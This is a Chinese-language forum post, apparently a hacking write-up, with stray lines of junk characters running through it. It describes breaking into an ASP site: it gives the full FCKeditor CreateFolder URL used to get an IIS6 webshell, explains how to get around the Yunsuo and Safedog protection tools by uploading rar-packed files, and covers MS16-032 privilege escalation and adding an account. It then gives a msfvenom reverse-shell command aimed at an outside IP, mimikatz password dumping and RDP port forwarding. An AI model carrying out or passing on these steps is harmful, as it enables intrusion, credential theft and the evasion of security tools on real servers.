|
6 s" a1 m; W, u6 |# Q: \5 s6 s
& n( X( A) R; B: D1 A& K
, @, O o% X; {, ~' t$ F
4 K) {+ K" [0 u8 w/ e |
, N5 F% ?; c; ]: \) A
: K8 I; k. _; k' z [( {5 q5 B& ]
1 g$ v$ G: w& _( @0 d# ^ J
一、 利用getwebshell篇
7 e$ R' E, P" R$ M+ r: L b' u) F
2 }9 `, B7 h# ?8 a& r* H7 V首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
- f1 V2 J- t7 k& Y9 ~8 y% z% H
6 J! K5 Z0 u2 B
1 H7 _- ~: q1 i/ w3 [下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
% ?( Y$ j& \9 ?- `( N( P! H
! A0 r* r6 ?; Y9 C: X6 e" Z
下面我们构造一个asp目录，如： 8 } [5 u5 A% Q2 ~. ^ q g
: Z8 O% j' j. P+ E9 T9 L
* K4 T; f6 o4 T4 N j http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
; u# i/ z3 D% F" Q- \% S * z: J: Z3 I; X1 z4 a8 _, w$ z
4 O& T6 D+ h% d9 z ?. Y
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
% B5 C7 C* R* ~4 G0 o
6 C/ e3 U+ y5 I: G
一、 绕过安全狗云锁提权并且加账号
* M! L% Q1 J2 C1 M
! L$ }5 h/ ^; A2 T& r
没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
; l' n$ w1 g4 @. C9 F) t
8 q0 R$ {! u" o' g( S8 r如图：
* k% @4 O: U2 r9 c. k
' n# m% W5 q, [; D$ i9 h
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
/ n$ L; {+ [! ^" _/ A
) \) V$ l7 {: p一、 利用metasploit
2 f C* z9 |, T4 ?
- m/ F# {# ^/ ^9 y! [5 H1 V( p. [首先用pentestbox生成一个64位的payload如下命令
4 }4 N3 p5 j/ c4 K6 o
8 @- H% t8 U$ }% T" g, N
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
) L& v9 Q) {% ~2 n
3 }. U; [; H: O( k$ Y2 R- L7 \2 D为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
, D" }1 L$ f* E4 _( N8 S: ]
$ t- F# i( @1 Z# h
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
0 V! U5 M( B; |7 ?) q+ s
: l x3 ]! \0 S1 U$ ?8 f7 B5 ~- H
下面我们来做一个监听如下命令：
5 X( w2 K" {! ~" g6 a, C
) u% a. c8 a" f6 i, \4 B
portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
5 f% S- U7 s5 W
9 K$ c e$ E# ^" K 9 {4 H5 I. d' f/ Y& F) ~% H
|
+ M3 ?3 Z3 y1 {) \( n3 i , d* V7 t" f' l/ t$ {
" s7 ^. w) J/ g/ Z8 I% x9 s5 w
! [: L1 l' U( B! K
; C6 C4 J6 U( T$ i5 o7 S0 a4 o3 k: t% s
. d) X* Y; l% P/ ]8 e3 a4 D
3 l5 V% \5 I+ g9 X
d+ r5 R+ ~8 y- ^
- {7 R( E* U o# p
/ {% x4 S# l0 g% q
$ Q2 ?& J N$ a$ V% x
6 `4 C' `9 m2 ^( `
& k; ?+ G" J& Z$ L3 H; Y) F | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06